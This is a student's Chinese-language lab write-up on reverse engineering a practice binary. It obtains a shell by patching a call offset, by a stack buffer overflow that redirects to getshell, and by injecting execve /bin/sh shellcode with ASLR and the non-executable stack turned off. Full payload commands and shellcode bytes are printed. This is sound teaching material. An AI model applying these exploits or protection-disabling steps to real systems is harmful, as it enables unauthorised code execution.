20165118 Exp1 PC平台逆向破解

20165118 Exp1 PC平台逆向破解

一.实验内容:通过对文件pwn20165118进行各种操作使得我们能够得到shell界面。本次实验介绍了三种方法,分别是:

(1)修改main里面foo函数的返回值,使得程序的执行流程发生改变,执行完foo函数以后跳入getshell函数里面

(2)通过构造输入的值,它的溢出值覆盖原返回地址以后能够使程序执行流程转到getshell函数

(3)直接注入shellcode并运行

包含的知识点:

(1)NOP, JNE, JE, JMP, CMP汇编指令的机器码:

NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

JNE:条件转移指令,如果不相等则跳转。(机器码:75)

JE:条件转移指令,如果相等则跳转。(机器码:74)

MP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。

(2)掌握反汇编与十六进制编程器(实验中用到的一些指令) :

objdump -d:反汇编

xxd:为给定的输入转换成十六进制的输出

xxd -r:将十六进制输出转换成二进制

|:管道,将前者的输出作为后者的输入。

>:重定向符,将前者输出的内容输入到后者中。

(3)gdb指令

gdb:进入gdb

quit:退出gdb

break:设置断点

二、实验过程

在做实验之前先做好pwn1的备份,分别是pwn20165118_1,pwn20165118_2和pwn20165118_3。

2.1直接修改程序机器指令,改变程序执行流程:

对pwn20165118_1进行操作。

(1)准备工作:(通过反汇编找到main函数中调用foo函数的地址,并找到getshell函数的地址)

使用objdump -d pwn20165118_1|more指令,之后一直回车,然后查看foo函数,main函数和getshell函数的内容,在main中找到call xxx <foo>这条指令对应的那一行的机器指令,e8是跳转的意思,如果我们想调用getShell,需要修改“d7ffffff”为"getShell-80484ba"对应的补码就行,即将d7改为c3即可。

(2)修改操作

用vi指令打开pwn20165118_1;

ESC键;

使用:%!xxd切换到16进制的模式;

/e8d7查找要修改的内容;

找到位置以后先按r才能替换,将d7改为c3;

:%!xxd -r换为原先的进制;

:wq退出vi模式

(3)查看结果:如图

2.2通过构造输入参数,造成BOF攻击,改变程序执行流:

对pwn20165118_2文件进行操作

(1)原理:输入值长度超过buff的预设长度,且溢出的部分覆盖eip的部分正好是getshell函数的调用地址。

(2)准备工作:(需要找到buff允许的最大长度,确定eip的值是正放还是反放)

进入gdb,用r指令运行pwn20165118_2,输入1111111122222222333333334444444455555555,会显示0x35353535 in ?? (),5的ASCII就是35...再用
info r指令查看eip的值,发现为0x35353535(四个5)

重复上述的指令,将输入值改为1111111122222222333333334444444412345678,会发现eip的值变为0x34333231,即为1234,所以由此得知buff最大长度为32,我们再通过设置断点break *0x804849d,对比之前 ==eip 0x34333231 0x34333231==,应输入11111111222222223333333344444444\x7d\x84\x04\x08

(3)修改操作:因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件

指令:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

再使用16进制查看指令xxd查看input文件的内容是否如预期。

(4)查看结果:如图

2.3注入Shellcode并执行:

对文件pwn20165118_3进行操作

(1)准备一段Shellcode:使用了老师的shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

(2)环境方面的准备工作

首先使用apt-get install execstack命令安装execstack,不然无法执行下列操作。

execstack -s pwn20165118_3 //设置堆栈可执行

execstack -q pwn20165118_3 //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space //查看地址是否随机化,结果为2表示是,而我们需要关闭它

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space //再次查看确定为0

(3)构造要注入的payload

layload有两种模式:rns和nsr,本次实验用的是nsr模式(n为nop空指令),该实验需要同时用两个终端来完成

在终端1用(cat input_shellcode;cat) | ./pwn20165118_3指令注入攻击

同时打开终端2,用gdb进行调试(此时千万不能再终端1敲回车)

需要找到pwn20165118_3的进程号,使用指令ps -ef | grep pwn20165118_3

attach指令调试该进程

通过设置断点,来查看注入buf的内存地址:先disassemble foo找到ret所在位置,再用break

设置完断点以后返回终端1并敲下回车,再返回终端2继续调试,输入c,info r esp指令,查看0x01020304其返回地址,并由此确定了x1x2x3x4的值,在终端2退出gdb的调试模式并返回终端1

在终端1输入
perl -e 'print "A" x 32;print"\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

再次输入 xxd input_shellcode
(cat input_shellcode;cat) | ./pwn20165118_3

至此,所有实验全部完成!
(还有一些没写完,正在补。。。)

猜你喜欢

转载自www.cnblogs.com/lbz20165118/p/10549567.html